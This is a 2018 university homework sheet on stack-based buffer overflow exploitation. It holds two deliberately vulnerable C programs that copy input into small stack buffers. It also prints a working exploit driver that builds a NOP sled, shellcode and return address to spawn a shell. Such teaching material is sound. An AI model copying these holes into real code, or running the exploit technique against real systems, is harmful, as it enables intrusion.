University of Stuttgart
Institute of
Information Security

System and Web Security
Summer Term 2018
Prof. Dr. Ralf Küsters

Homework 3

Submission via ILIAS until May 08, 2018, 07:59.

General Notes

- If you encounter difficulties, you SHOULD[1] ask the teaching assistants in the consultation hour.
- To solve the homework, you SHOULD form teams of 3 people.
- Your team size MUST NOT exceed 3 people.
- You MUST submit your homework in ILIAS. (In the ILIAS course, you can find the *Homework Submissions* item. There, you can register your team and submit your solution.)
- You are free to choose whether you write your solutions in German or in English.
- Your submission MUST include all team member's names and matriculation numbers.
- You MUST use the System Security Virtual Machine to work on all problems (except if stated otherwise).
- You MUST submit your solution as a PDF or TXT document. If your solution contains source code, you MUST submit your source code in its native file format separately. In your main document, it is sufficient to point to these source code files.
- When you carry out attacks, you SHOULD take a screenshot to document that your exploit worked (and include this screenshot in your submission).
- Your team gains one point for each problem if solved reasonably.
- If you do not adhere to these rules, you risk loosing points.

Information for Solving the Problems

- Many problems of the homework depend on the computer architecture you use. In ILIAS, you can download the *System Security Virtual Machine (VM)*. This VM serves as our reference system. Other systems may (or most likely will) produce different results that we cannot grade as correct. **You MUST use this VM to work on all problems (except if stated otherwise).**
- Please note that you can find further information on how to install the VM in ILIAS.
- When you compile source code, you MUST use `gcc` with the following options:

  -**fno-stack-protector** disables several defence mechanisms

  -**O0** disables optimizations

  -**ggdb3** adds meta information for the debugger to the binary

  Although we have configured the shell of the VM such that the `gcc` command uses these options automatically, you should not omit these (especially when writing your own make files, etc.). For example, you compile a C program (contained in file `myprog.c`) like this:

  ```
  gcc -fno-stack-protector -O0 -ggdb3 -o myprog myprog.c
  ```

[1]SHOULD, MUST, and MUST NOT are used as defined in RFC2119.

Problem 1: Stack-based Overflow

Write a C program that executes and attacks the program below such that a shell is opened. Document your attack with screenshots.

File: code/sof–exploit–10–target.c

```c
#include <string.h>

void callme(char *a) {
  char b[255];
  strcpy(b, a);
}

int main(int argc, char *argv[]) {
  if (argc > 1)
    callme(argv[1]);
  return 0;
}
```

Problem 2: Stack-based Overflow

Write a C program that executes and attacks the program below such that a shell is opened. Document your attack with screenshots.

Hint: You may deviate from the structure of the exploit string that you know from the lecture.

File: code/sof–exploit–9–target.c

```c
#include <string.h>

void callme(char *a) {
  char b[4];
  strcpy(b, a);
}

int main(int argc, char *argv[]) {
  if (argc > 1)
    callme(argv[1]);
  return 0;
}
```

Problem 3: Stack-based Overflow

Consider the C program below.

File: code/sof–exploit–reverse–exploit.c

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "./sof-exploit-reverse-target"
#define SIZE 73
#define NOP 0x90
```

```c
int main(int argc, char**argv) {
        char *args[3];
        char *env[1];
        char *ptr;
        long *addr_ptr, addr;
        int i;
        char buff[SIZE];

        addr = strtoll(argv[1],NULL,16);

        for (i = 0; i < SIZE; i++)
                buff[i] = NOP;
        addr_ptr = (long *) (buff + SIZE -5);
        *addr_ptr = addr;
        ptr = buff + (SIZE - 5 - strlen(shellcode));
        for (i = 0; i < strlen(shellcode); i++)
                *(ptr++) = shellcode[i];
        buff[SIZE - 1] = '\0';

        args[0] = TARGET; args[1] = buff; args[2] = NULL;
        env[0] = NULL;
        if (0 > execve(TARGET, args, env))
                fprintf(stderr, "execve failed.\n");
        return 0;
}
```

For example, you can run this program with the command below.

```
./sof-exploit-reverse-exploit bffffdc8
```

The first argument, a hexadecimal string representation of a memory address, is converted to an integer and then used to created the following string:

$$\underbrace{\texttt{NOP}\ldots\texttt{NOP}}_{\text{23 Byte}}\underbrace{<\texttt{shellcode}>}_{\text{45 Byte}}\underbrace{<\texttt{argv}[1]>}_{\text{4 Byte}}\backslash 0$$

This string is used as the first argument to execute the program `sof-exploit-reverse-target`.

Your task is to write the program `sof-exploit-reverse-target` in C. This program should be short and be exploitable with a string created by `sof-exploit-reverse-exploit` (the program above). As usual (in this course), a shell should be launched as the result of the attack. Use the file `sof-exploit-reverse-target.c` as a template for your program.

Explain why your program is successfully exploited.